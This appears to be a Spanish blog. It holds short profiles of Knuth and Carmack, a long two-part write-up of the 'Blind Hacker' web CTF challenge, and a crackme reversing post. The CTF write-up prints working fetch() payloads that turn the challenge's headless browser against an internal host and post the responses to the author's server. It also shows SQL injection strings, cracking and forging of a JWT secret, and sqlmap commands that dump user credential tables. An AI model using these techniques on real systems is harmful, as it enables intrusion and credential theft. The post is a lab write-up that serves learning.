One-man-army programmers (ii)

El siguiente en mi lista es un abuelete on steroids. Donald Knuth (1938, 82 años). Uno de los titanes de la informática. Creó el sistema de tipografía TeX, base de LaTeX, usado para la composición de documentos científicos con alta calidad tipográfica. 

Tardó ocho años en programarlo (1970-78) y todo empezó con un enfado.

Cuando terminó de redactar el segundo volumen de su serie de libros «El arte de la programación de ordenadores», esperaba recibir una galerada con la misma tipografía que el primer volumen, creada en una máquina Monotype 

En esta máquinas cada letra se funde en un molde de metal que luego, agrupadas, se usan para imprimir las copias. El estilo le encantaba a nuestro abuelo.

Pero esa máquina dejó de existir y los resultados de la nueva no satisfacían a Knuth. Así que escribió un documento en el que trataba de explicar su visión de TeX como nuevo sistema de tipografía. Me gusta el primer párrafo introductorio (recordad, un documento de 1977)

«Even though I don’t understand TEX very well myself yet, I think the best way for me to get

started is by trying to explain it to somebody else.»

https://www.saildart.org/TEXDR.AFT%5B1,DEK%5D1

Me gusta porque me recuerda una técnica de debugging: para entender mejor cómo funciona un programa y detectar el error que te está volviendo loco, trata de explicar el funcionamiento del mismo a otra persona, o incluso a ti mismo – como si hablaras para otro-, línea a línea.

Incluso hay una técnica de debugging conocida como rubber duck debugging https://en.wikipedia.org/wiki/Rubber_duck_debugging

donde la idea es explicarle el código a un patito de goma que tengas al lado (la cara con la que te mirarán los compañeros no debe influirte 🙂

Knuth recibió el premio ACM Turing en 1974 por sus contribuciones al análisis de algoritmos, en particular por sus contribuciones a la serie de libros «The art of computer programming» (TAOCP), que aún sigue escribiendo 

Son 7 volúmenes en total y actualmente está redactando el 4º, del que ya hay 6 fascículos.  Una máquina el tío Donald.

Hay dos anécdotas que ilustran la forma de vivir, pensar y trabajar de Knuth. La primera está relacionada con su obsesión por la precisión y detalle. 

Su compromiso con la calidad en la redacción de los volúmenes del TAOCP es tal que se permite el lujo de pagar $2.56 por cualquier error tipográfico (o errata) que descubras en alguno de sus volúmenes (¿por qué esa cifra? Bueno, «256 pennies is one hexadecimal dollar» 🙂

Otra anécdota de Knuth es que no usa el email. Hay muchas razones, pérdida de tiempo, ansiedad por intentar responder a todo o por esperar que los demás hagan lo mismo… pero me gusta la primera razón que él mismo explica en este fragmento de vídeo: https://www.youtube.com/watch?v=QS8qwMna8_o

“my role in life is not to be on the top of things as much as to be on the bottom of things”

Me encanta esta filosofía y creo que es lo que deberíamos lograr, aunque en tiempos de Twitter, Twitch, Facebook, WhatsApp y demás, es realmente complicado desengancharse y centrarse.

One-man-army programmers (i)

Algunos programadores afirman que si trabajaran solos serían más rápidos y entregarían resultados de mayor calidad. En la historia de la informática ha habido programadores que, de forma individual o acompañados por otro compañero/a, han conseguido crear auténticas maravillas…

En ingeniería software se les conoce como one-man-army programmers. Hay tres que siempre me han llamado la atención. Hoy quiero hablaros de uno de ellos, John Carmack 👇

A mediados de 1980, John Carmack y John Romero se conocieron en una pequeña compañía tecnológica de Louisiana. Su pasión por la programación y los videojuegos les llevó a fundar la mítica id Software https://www.ionlitio.com/historia-id-software-los-dos-johns/

Fue allí donde Carmack programó el motor de Wolfenstein, Doom y Quake. Juegos que cambiaron el mundo. 

Carmack representa el genio obsesivo y un tanto nerd a la vez que el virtuosismo en programación. Romero el compañero con muy buenas ideas, arte diseñando y conocimiento sobre lo que debe ofrecer un buen videojuego. 

Ojo, Romero también es un buen programador y de hecho aparece en los créditos de Doom como programador y diseñador pero es a Carmack a quien se le atribuye el grueso del desarrollo.

El motor 3d, la ambientación, luces y texturas, acción, humor gore y el soporte de juego en red, hicieron de sus creaciones auténticas obras de arte seguidas por una legión de jugadores. 

Recuerdo cómo quedábamos en las salas de informática de la facultad a jugar en red O:)

La historia de Carmack y Romero está documentada en un libro muy recomendable, Masters of Doom, de David Kushner https://www.amazon.com/dp/0375505245

Me gusta la idea que dejó un lector en la página de comentarios: «Carmack fue el luthier, quien construía las guitarras y Romero el músico que conseguía sacarles las mejores canciones».

John Carmack (1970, cerca de los 50 tacos) sigue en la brecha y aunque trabajó como CTO de Oculus VR (y a día de hoy sigue como consultor CTO), decidió dedicar su tiempo a profundizar en el campo de la IA. Seguramente veamos pronto sus frutos.

https://www.theverge.com/2019/11/13/20963899/john-carmack-stepping-down-cto-of-oculus-work-on-ai

Blind Hacker Challenge (ii/ii)

Como decíamos en el anterior post, esta vez tenemos que usar http://blind_hacker_forum. Vamos allá.

Modificamos index.js para que haga un fetch a la nueva url y nos devuelva el resultado vía POST a nuestro servidor echo.

   fetch("http://blind_hacker_forum").then( res => res.text()).then(
                data => {
                        fetch("http://ikasten.io:3000/echo", {
                                                method: 'POST',
                                                body: data
                                        });
                })

Observamos el resultado:

<html>

<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>

</html>

Meet token.php and share your indextoken.

Vaya, hay que acudir a token.php y obtener indextoken. Aquí probé a acudir a token.php del nuevo servidor, pero no, hay que ir al token.php de http://blind_hacker.

Así que modificamos el código:

 fetch(victimURL + "token.php").then(res => res.text()).then(data => {
        token = data.split(" ")[4];
        return token;
    }).then( token => {

            fetch("http://blind_hacker_forum/?indextoken="+token).then( res => res.text()).then(
                data => {
                        fetch("http://ikasten.io:3000/echo", {
                                                method: 'POST',
                                                body: data
                                        });
                })
    })

Y observamos el resultado:

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
Meet /token and share your forumtoken.

Un nuevo twist a la trama 🙂 Aparte del indextoken de blind_hacker es necesario pasar el forumtoken obtenido de http://blind_hacker_forum/token.
Tenemos que analizar cómo nos devuelve dicho /token. 

   fetch("http://blind_hacker_forum/token").then(res => res.text()).then(
                data => {
                         fetch("http://ikasten.io:3000/echo", {
                                                method: 'POST',
                                                body: data
                                        });
                });

Bueno, no parece complicado:

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
There you go -> ceqjaobnxbtsmxaqdivkulqmuteimmpxpkjjsugsxksyxoednhyjuuahcd

Pero ojo, aunque la última línea sigue la misma estructura que el indextoken, nos está enviando por delante todo el HTML del forum… Así que vamos a cambiar ligeramente el split() que usamos para obtener el token, así:

forumtoken = data.split(«-> «)[1]

Quedando el código en esta versión:

 fetch("http://blind_hacker_forum/token").then(res => res.text()).then(
                data => {
                        forumtoken = data.split("-> ")[1]
                        return forumtoken;
                }).then( forumtoken => {

                   fetch(victimURL + "token.php").then(res => res.text()).then(data => {
                        indextoken = data.split(" ")[4];
                        return indextoken;
                    }).then( indextoken => {

                            fetch("http://blind_hacker_forum/?indextoken="+indextoken+"&forumtoken="+forumtoken).then( res => res.text()).then(
                                data => {
                                        fetch("http://ikasten.io:3000/echo", {
                                                                method: 'POST',
                                                                body: data
                                                        });
                                })
                    })
                })

¿Qué nos llega ahora como respuesta?

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
You were not authed, but I have just sent you a guest permission.

Mmmh… ¿nos ha enviado permisos de invitado? ¿Dónde? Lo único que no capturamos por ahora son las cabeceras de la respuesta. Me temo que ya sé dónde nos envía el “guest permission”. Vamos a comprobarlo.

Necesitamos modificar nuestro proxy para que además del body de la respuesta nos rebote los headers de la misma. Afortunadamente en JavaScript disponemos de la clase Headers, que podemos usar tanto para capturar las cabeceras de la respuesta como para enviar headers propios en la petición.

Básicamente, nuestro hooked browser debe responder con un echo de las cabeceras que encuentre:

fetch("http://blind_hacker_forum/?indextoken="+indextoken+"&forumtoken="+forumtoken).then(
                                    res =>  { let respuesta = res.text();
                                             for (var p of res.headers)
                                                     respuesta += p + "\n";
                                            return respuesta;
                                            }
                            ).then(
                                data => {
                                        fetch("http://ikasten.io:3000/echo", {
                                                                method: 'POST',
                                                                body: data
                                                        });
                                })            })             })

Y dichas cabeceras son:

content-length,218
content-type,text/html; charset=utf-8
date,Thu, 11 Jun 2020 18:40:29 GMT
forum_auth,eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o
server,Werkzeug/1.0.1 Python/3.6.10

Vaya, vaya, forum_auth en una cabecera que tiene toda la pinta de ser otro token, en este caso un token JWT.  Vamos a comprobarlo en JWT.io :

¡Premio! El payload del JWT nos muestra algo muy interesante:

{
  "id": "1337",
  "username": "guest",
  "password": "h4x0r",
  "email": "guest@where.ever",
  "is_admin": "no"
}

Intenté distintas estrategias de ataque contra JWT hasta que recurrí a la fuerza bruta para intentar descubrir la clave con la que se firma el token JWT. A ser posible usando un diccionario y tal vez por aquello de “listen to rock & roll”, el rockyou.txt podría ser una buena opción, pero me daba algunos problemas por caracteres no reconocidos como utf-8, así que use un simple diccionario de palabras comunes con este cracker JWT :

$ python jwtcat.py wordlist -w /tmp/common.txt 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o

2020-06-11 22:58:19,666 Juanan-2.local __main__[6659] INFO Pour yourself a cup (or two) of ☕ as this operation might take a while depending on the size of your wordlist.                                                                                     | 1225/4658 [00:00<00:00, 13276.10it/s]
2020-06-11 22:58:19,817 Juanan-2.local __main__[6659] INFO Private key found: cookie
2020-06-11 22:58:19,817 Juanan-2.local __main__[6659] INFO Finished in 0.15151715278625488 sec

Bonito secret key:  cookie 🙂

Ya podemos cambiar el valor del payload del JWT y lanzarlo contra el forum, a ver qué pasa.

Creando tokens JWT

Es sencillo crear tokens JWT válidos usando node:

const jwt = require('jwt-simple');
const secret = "cookie";
let payload= {
"Id":"1337",
"Username":"guest",
"Password":"h4x0r",
"email":"guest@where.ever",
"is_admin":"no"};
let pwn = jwt.encode(payload, secret);

El resultado (pwn) hay que enviarlo como cabecera desde el hooked browser hasta el servidor blind_hacker_forum. Como ya se ha comentado, esto podemos hacerlo con la clase Headers:

        const myHeaders = new Headers();
        myHeaders.set('content-type', text_id.contentType);
        myHeaders.set('forum_auth', text_id.text);


        fetch(victimURL + 'check?indextoken=' + indextoken + '&forumtoken=' + forumtoken, {
            method: 'GET',
            headers: myHeaders
        }).then(res => {
            return res.text();
        })

Si enviamos el token JWT sin modificar, obtendremos la siguiente respuesta:

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
It's a match!

Forging the payload

¿Qué ocurrirá si modificamos el atributo is_admin: no para que sea is_admin: yes?

let payload= {
"Id":"1337",
"Username":"guest",
"Password":"h4x0r",
"email":"guest@where.ever",
"is_admin":"yes"};

Algo muy interesante:

<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>

 There was an error, please have a look *carefully* and check everything: SELECT username, password, email, is_admin FROM userinfo WHERE username = 'guest' AND password = 'h4x0r' AND email = 'guest@where.ever' AND is_admin = 'yes'

Dos respuestas, una en la que conseguimos un true o similar y otra en la que conseguimos un false o similar implican que podemos consultar la BBDD a través de Blind SQL. Podemos verificarlo inyectando estos dos payload:

is_admin=’no' AND 1=1--"

Devuelve un It’s a match.  (TRUE, la condición se cumple)

is_admin=’no’ AND 1=0--"

Devuelve el mensaje de error SQL. (FALSE, la condición no se cumple)

El problema es que la inyección debemos introducirla a través del payload JWT. Vamos allá….

SQLMap al rescate

De nuevo, la herramienta proxy que hemos desarrollado para superar la primera parte de este reto nos va a venir de perlas ahora (usar la rama forumtoken en esta ocasión). Por supuesto, la siguiente línea llevó muuuuchas horas extraerla, pero bueno, esa parte del aprendizaje me la quedo:

$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*" --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode --dbs --threads=4  --tamper=between 

Nota: –skip-urlencode es necesario porque el carácter % está filtrado en blind_hacker_forum

También están filtrados los signos “<” y “>”, de ahí el tamper=between que implementa estas sustituciones:

  >>> tamper('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'

 >>> tamper('1 AND A = B--')
    '1 AND A BETWEEN B AND B--'

Finalmente el payload de SQLmap debemos pasárselo como parámetros POST a nuestro proxy sin indicar variables, de ahí el –data=”*” (el asterisco indica punto de inyección). Nuestro proxy añadirá esa inyección aquí:

let payload= {
"Id":"1337",
"Username":"guest",
"Password":"h4x0r",
"email":"guest@where.ever",
"is_admin":"no" + inyeccion};

Codificará el JWT y lo enviará a blind_hacker_forum (a través del socket, etc.)

Veamos… Parece que le gusta 🙂

Nombre de las tablas en BBDD public:

$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*"  --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode --tables -D public --threads=4  --tamper=between

Pedir la lista de columnas hacía saltar el WAF otra vez. Pero si ya sabemos cuáles son… mejor pedir su contenido directamente 🙂

$ sqlmap --proxy=http://127.0.0.1:3000 -u http://blind_hacker_forum/ --data="*"  --technique=B --dbms=PostgreSQL --prefix="'" --suffix="--" --skip-urlencode  -C username --dump -T userinfo -D public --threads=4  --tamper=between -v 6

Pedimos igualmente los campos password, is_admin y email. Y nos llevamos el botín:

$ paste /ikasten/.sqlmap/output/blind_hacker_forum/dump/public/userinfo.* |column -s $'\t' -t
password     	       username       email                		is_admin
admin_password   administrator   admin@domain.admin   	no
h4x0r            	       auser              guest@where.ever     	no
letsputsomepxd$   betauser          i@told.u             		XXXREDACTEDXXXX
you4recrazy           guest              XXXREDACTEDXXXX 	yes

PD: aquí todo queda bonito y limpio, pero hubo mucho trabajo manual y sucio por detrás.

Gracias a @jorge_ctf por la creación del reto y el soporte ofrecido.  Hats off!

Blind Hacker Challenge (i)

El 24 de mayo el equipo de Follow the White Rabbit publicaba en su cuenta de Twitter (@fwhibbit_blog) un nuevo reto en la categoría Web, Blind Hacker, diseñado por @jorge_ctf:

Me gustó el anterior reto web, Mike’s Dungeon, del mismo diseñador, pero también sabía que suelen requerir mucho tiempo y café. No soy el único que así lo cree 🙂

En la descripción vemos que hay que “llamar” a un bot (@blindhackerchallbot) a través de Telegram. Si nos comunicamos con él veremos que hay que llamarle con el comando /scan y pasarle una URL que nos escaneará durante 10 segundos:

En estos casos suelo poner a la escucha la herramienta netcat en modo servidor para ver quién se conecta:

/scan http://ikasten.io:3000/

$ nc -l 3000
GET / HTTP/1.1
Host: ikasten.io:3000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US

Interesante, Headless Chrome 83.  El bot abre una conexión contra nuestro servidor usando este navegador en modo headless durante 10 segundos. También tenemos una pista en el enunciado del ejercicio: “Server is at: http://blind_hacker/”. Da la sensación de que tenemos que conseguir dirigir – a distancia – ese navegador headless hacia su propia red, en concreto a ese servidor. 

En un primer momento creo que el texto de la pista no contenía el protocolo (http), sino sólo el nombre del servidor. Así que pensé en ver a qué servicio estaba asociado. La idea era usando ese navegador headless para mis propósitos, en concreto, para escanear los puertos del host blind_server. ¿Pero cómo? Usando el API Fetch. 

La idea es la siguiente, preparar una página sencilla que incluya sólo un JavaScript. Esa página será la que digamos al bot que escanee. Nuestro script ejecutará algo similar a esto:

fetch('http://blind_server:' + port, {
                mode: 'no-cors'
            }).then(resp =&gt; {
                console.log(“servicio ABIERTO en:+ port);
            }).catch(err =&gt; {
                console.log(“servicio CERRADO en:+ port);
            });

CORS

Chrome está ejecutando un script de ikasten.io que lanza peticiones Fetch a otro dominio. Eso no es Kosher 🙂 No lo ejecutará a no ser que el servidor que recibe la petición (blind_hacker) incorpore una cabecera CORS que lo autorice. El mode: ‘no-cors’ permite hace este tipo de llamadas, pero a su vez, indica al navegador que los scripts no pueden acceder al contenido de la respuesta. Pues vaya, ¿entonces para qué hacemos la petición? Sencillo, sólo nos interesa saber si hay respuesta, no cuál es el contenido de esa respuesta. 

Tal y como comenta el propio autor del reto: “Debido a que chrome (o creo que incluso todos los navegadores) implementan CORS por defecto en localhost, tuve que añadir a selenium esta opción:

chrome_options.add_argument(‘–disable-web-security’) # Nos olvidamos de CORS de manera global

Console.log o Beeceptor

Está bien que un console.log nos muestre el resultado por la consola del navegador. Pero nos olvidamos de un “detallito”: no podemos acceder a ver el contenido de es consola 🙂 Tenemos que exfiltrar ese contenido a un servidor externo que podamos visualizar. Hay varias formas de hacer esto, pero una rápida es usar la herramienta online Beeceptor:  https://beeceptor.com/ . Añadimos un end-point y cada que vez alguien “llame” a ese end-point veremos una nueva línea de log con detalles de la llamada. Algo similar a lo que hace el servicio Burp Suite Collaborator (pero Beeceptor sólo sirve para interceptar llamadas HTTP/S y Collaborator acepta muchos otros protocolos).

El payload podría ser algo como esto para los primeros 1024 puertos:

for(let port=80; port < 1024; port++){
    fetch('http://blind_hacker:' + port, {
                mode: 'no-cors'
            }).then(resp => {
                fetch('http://ikasten.free.beeceptor.com/' + port);
            });
}

Monitorizando beeceptor, vemos que llega una petición informando que el puerto 80 de blind_hacker está abierto 🙂

Automatizando las peticiones al bot de Telegram

Llegados a este punto, nos damos cuenta de que va a ser necesario automatizar las peticiones al bot. Así que instalamos telegram-cli, o más bien el fork del usuario kenorb que lo mantiene actualizado (el original lleva 5 años sin ser tocado). A partir de ahora, podremos lanzar las peticiones al bot así:

$ bin/telegram-cli -k tg-server.pub  telegram-cli -W -e «msg BlindHackerBot /scan http://tu_server:3000/tu_pagina.html»

Curioseando en http://blind_hacker

Usando el API Fetch podemos lanzar consultas manuales a http://blind_hacker y exfiltrar las respuestas a Beeceptor o a un servidor que pongamos a la escucha. Esta segunda opción es la que más me gusta, pues así tendremos control absoluto (Beeceptor tiene un máximo de requests diarios, a partir de ese número es necesario pagar). Hacerlo en node+express es sencillo (req.text no es un atributo de serie, hay que obtenerlo a través del middleware raw-body):

app.post('/echo', function(req, res) {
     console.log(req.text); 
     res.send(req.text);
});

Ahora, un fetch(“http://ikasten.io:3000/proxy”) mostrará por consola los parámetros que le lleguen por POST y enviará los mismos como respuesta HTTP. Modificamos el payload para leer la respuesta de blind_hacker:

   fetch('http://blind_hacker').
     then(resp => resp.text()).then( data {
         fetch('http://ikasten.io:3000/echo', { 
                method: 'POST', 
                body: data}); 
         });

Nota: hemos quitado el mode: ‘no-cors’ asumiendo que el servidor remoto acepta peticiones CORS. También hemos usado el método POST para la exfiltración de datos.

Y vemos por consola:

indextoken param not supplied.

Bueno, poco a poco estamos consiguiendo extraer información. ¿Qué habrá que pasar con ese indetoken? Intentamos algo al azar:

fetch('http://blind_hacker/?indextoken=trololo').
then(resp =&gt; resp.text()).then( data =&gt; { 
   fetch('http://ikasten.io:3000/echo', {
       method: 'POST',
       body: data
   })});

Y obtenemos la respuesta que buscábamos:

Invalid token! Have you met token.php?

Así que toca pasarse primero por token.php. La cosa empieza a complicarse ¿eh?

   fetch('http://blind_hacker/token.php').
   then(resp => resp.text()).then( data => {
             fetch('http://ikasten.io:3000/echo', 
               method: 'POST',
               body: data 
  }); });

Respuesta:

There you go -> 1fJJiyk5MfunjctynqkyqfgfY2x00auLmWrPNDub

Necesitamos trocear el token y pasárselo a blind_hacker. Algo así:

   victimURL="http://blind_hacker/"; 
   fetch(victimURL + "token.php").then(res => res.text()).
   then(data => {
     token = data.split(" ")[4];
     fetch(victimURL+"?indextoken=" + token).
     then(resp => resp.text()).
     then( data => {
      fetch('http://ikasten.io:3000/echo',
      { 
         method: 'POST',
         body: data});
   })
});

Respuesta:

<html>
<h1> BLIND HACKER FORUM </h1>
<center>
        <form method="post" action="" name="signin-form">
            <div class="form-element">
                <label>Username: </label>
                <input type="text" name="username" id="username" required />
            </div>
            <br>
            <div class="form-element">
                <label>Password: </label>
                <input type="password" name="password" id="password" required />
            </div>
            <br>
            <button type="submit" name="login" value="login">Log In</button>
        </form>
</center>
</html>

¡Vaya! Un formulario con username y password. Aquí intenté el envío de login y password típicos mediante POST y el API Fetch, pero tras unos cuantos intentos ví que no iban por ahí los tiros. Hasta que se me ocurrió probar un SQLi en el campo password:

victimURL="http://blind_hacker/";
  let formData = new FormData();
   formData.append('username', "admin");
   formData.append('password', "admin' or 1=1-- ");
   fetch(victimURL + "token.php").
    then(res => res.text()).
    then(data => {
       token = data.split(" ")[4];
       fetch(victimURL+"?indextoken=" + token, 
    { method: 'POST', body: formData } ).
     then(resp => resp.text()).
     then( data => { fetch('http://ikasten.io:3000/echo', 
     { 
        method: 'POST',
        body: data});
   })
});

Y recibí el mismo formulario de respuesta… salvo esta línea:

 <a href=»https://tenor.com/view/jesus-jesus-walk-yass-jesus-gif-14042558″></a>

Cambiando el payload del sqli por

formData.append(‘password’, «admin’ or 1=0– «);

La línea de respuesta que cambiaba era esta:

 <a href=»https://tenor.com/view/negros-ataud-ataud-meme-negros-dance-coffin-squad-gif-16889809″></a>

Wow, tenemos un BlindSQLInjection en toda regla. Podemos explotarlo a mano, poco a poco, de forma muy cansina. O podemos valernos de nuestros conocimientos como ingenieros software, desarrollar un proxy y hacer que trabajen los expertos (sqlmap). Obviamente nos decantamos por la segunda opción 🙂

Un proxy HTTP/websocket

Tenemos que conseguir enviarle peticiones HTTP al headless Chrome y que éste las redirija al target blind_hacker . Pero por cuestiones de seguridad Chrome no puede abrir conexiones a través de un socket como haríamos por ejemplo con netcat. Lo más cerca que podemos llegar es a abrir un websocket, recibir la petición http por el websocket y redirigirla al target (y la respuesta pasarla al origen siguiendo el orden inverso). 

Estuve indagando sobre un proxy websocket/socketTCP, y encontré alguna opción como websockify o proxy.rb de Beef pero no conseguí que funcionaran para mi obejtivo. Leyendo el código fuente de proxy.rb tampoco_parecía_tan_difícil (™). Así que me puse manos a la obra, y un par de días después tenía el proxy funcionando 🙂

Beef llama hooked browsers a este tipo de browsers que podemos controlar a distancia. A este ataque también se les conoce como Browser in the Middle. La implementación sigue la siguiente arquitectura:

  1. El hooked browser lanza un mensaje browser-connect a través del ws con el servidor y queda a la espera de recibir más peticiones a través del mismo socket
  2. Nuestro servidor express recibe una petición POST del cliente, la guarda en mongodb asignándole un ID, la envía por el websocket (“mensaje”) y se mete en un bucle de polling, consultando a mongodb hasta que encuentre una tupla con respuesta para ese ID 
  3. El hooked browser recibe el “mensaje” y lo reenvía a blind_hacker vía API Fetch + http, captura la respuesta de blind_hacker y la envía por el websocket  (mensaje tipo “answer”)
  4. Express recibe la respuesta y actualiza la tupla correspondiente a ese ID con el valor de la respuesta (desbloqueando el proceso de polling y enviando vía http la respuesta al cliente)

La implementación quick&dirty está disponible aquí https://github.com/juananpe/browserinthemiddle

Para poner en marcha el proxy, seguimos los siguientes pasos:

Lanzamos mongodb

$ mongod --config /usr/local/etc/mongod.conf

Creamos una bbdd de nombre queriesdb

> use queriesdb

Y una colección de nombre queries

> db.createCollection('queries')

Abrimos una terminal 

$ git clone https://github.com/juananpe/browserinthemiddle

$ cd browserinthemiddle

$ git checkout browserinthemiddle  (rama browserinthemiddle)

Lanzamos node

$ nodemon bin/www

Proxified Sqlmap

Ya está todo preparado para que podemos lanzar sqlmap contra blind_server desde otra terminal:

Primero la petición al bot:

$ bin/telegram-cli -k tg-server.pub  telegram-cli -W -e "msg BlindHackerBot /scan http://ikasten.io:3000/mobile.html"

E inmediatamente la orden sqlmap, con nuestro proxy como primer parámetro:

$ sqlmap --proxy=http://localhost:3000 -u http://blind_hacker/ --data="username=admin&password=admin" -p password  --risk=3 --technique=B  --suffix="-- " --dbms=MySQL  --dbs --threads=4

Notas: Sin risk=3 no encontrará nada porque es un OR-based blind tal y como hemos visto en la sección anterior (API Fetch). Ídem para el sufijo (suffix=”– “), que hemos encontrado con una petición POST a través del API Fetch. La opción –dbms asume MySQL, pero no haría falta, una primera pasada de sqlmap ya detectaría el motor de la bbdd.

available databases [3]:

[*] blindhackerDB

[*] information_schema

[*] tokenDB

PD: en 10 segundos, incluso con los 4 threads que le hemos metido a sqlmap  no podrá escanear los nombres de las 3 BBDD vía blind sqli en un sólo intento. Habrá que darle varias veces a la manivela 🙂

Ya tenemos el nombre de las BBDD. Vamos a por las tablas de blindhackerBD.

$ sqlmap --proxy=http://localhost:3000 -u http://blind_hacker/ --data="username=admin&password=admin" -p password  --risk=3 --technique=B --dbms=MySQL  --suffix="-- " --tables -D blindhackerDB --threads=4

Database: blindhackerDB

[1 table]

+———-+

| userinfo |

+———-+

Las columnas:

$ sqlmap --proxy=http://localhost:3000 -u http://blind_hacker/ --data="username=admin&password=admin" -p password  --risk=3 --technique=B --dbms=MySQL  --suffix="-- " --columns -T userinfo -D blindhackerDB --threads=4

(Nota: podríamos haber pedido las columnas directamente, sin tener que especificar el nombre de la tabla)

Y… ¡tachán, tachán! El toque ¿final?:

$ sqlmap --proxy=http://localhost:3000 -u http://blind_hacker/ --data="username=admin&password=admin" -p password  --risk=3 --technique=B --dbms=MySQL  --suffix="-- " --dump -D blindhackerDB --threads=4

Mmmh… casi. Tenemos la mitad de la flag. ¿Y ahora qué? Se nos ocurre introducir el login y password del dump en el formulario, enviamos …

y esta historia merece un segundo post 🙂

EB Secret, c0r0n4con (iii/iii)

Para depurar en radare, vamos a preparar un poco el entorno. Sabemos que el binario pide un input y muestra por pantalla ciertos outputs. Para poder usar el debugger en estos casos suelo preparar un fichero con el input a pasarle al binario (le llamaré payload) y abrir otra terminal donde poder ver el output. Si usamos screen o tmux, podremos hacerlo en la misma ventana: Ctrl+a+| para hacer split vertical. Ctrl+a+tab para colocarnos en la sección derecha. Ctrl+a+c para crear una nueva región. Ctrl+a+: y tecleamos resize 40 para redimensionar la región. Tecleamos ahora tty para ver el identificador de terminal y lo apuntamos (/dev/pts/3, por ejemplo). Ctrl+a+tab para colocarnos en la sección izquierda. Editamos foo.rr2 con la configuración indicada:

stdio=/dev/pts/3 
stdin=./payload

En payload metemos el input inicial, por ejemplo ABCDEFGHIJK.

radare2 fue el campeón en la lucha ghidra vs. radare

Todo listo para comenzar a darle calor al debugger:

r2 -e dbg.profile=foo.rr2 -d cracked

Recuerda, aaa para analizar flags, strings, funciones… Le costará un rato. Ahora V (visual mode), p (modo desensamblado) , p (igual, pero viendo registros y pila).

:db main breakpoint en el main (intro)

_(buscar referencias), Good (sabemos por los strings que pondrá Good job). Intro. x. radare nos situará sobre el código que comprueba nuestro input.

El binario recibe nuestro input y luego concatena dos strings (strcat + strcat) para comparar el resultado con el input (strcmp). Si coinciden, muestra «Good job» y nuestro input es la flag que buscamos.

Podemos poner otro breakpoint al comienzo de esta sección (con F2 ponemos breakpoints en modo visual, sin tener que teclear «db 0xdirección») y otro tras el segundo strcat. Tecleamos :dc para saltar de breakpoint a breakpoint, analizando registros.

Aquí está el meollo de la cuestión

Tenemos un bucle que itera sobre el input y realiza las siguientes operaciones:

input = [0x41, 0x42, 0x43, ..., 0x49]  # el input que le pasamos
IV = 0x50
flag = ""
for i in range(len(input)):
   if i == 0:
      flag += chr(IV ^ input[i])
   else:
      flag += chr(input[i - 1] ^ input[i])

El resultado final lo compara con esta cadena de bytes:

La cadena de bytes que buscamos {1b,52, 3f,5e ,29,4c, 3a,55 ,33,5f, 3e,59,00,7f}

Así que hay que invertir el algoritmo.

sol = [0x1b, 0x52, 0x3f, 0x5e, 0x29, 0x4c, 0x3a, 0x55, 0x33, 0x5f, 0x3e, 0x59]


idx = 0
left = 0x50
newFileBytes = []
for i in range(0,len(sol)):
  right = sol[idx]
  sig = left ^ right
  print(sig)
  newFileBytes.append(sig)
  left = sol[idx]
  idx = idx + 1


newFile = open("flag.txt", "wb")
newFileByteArray = bytearray(newFileBytes)
newFile.write(newFileByteArray)

Y obtendremos la clave en flag.txt 🙂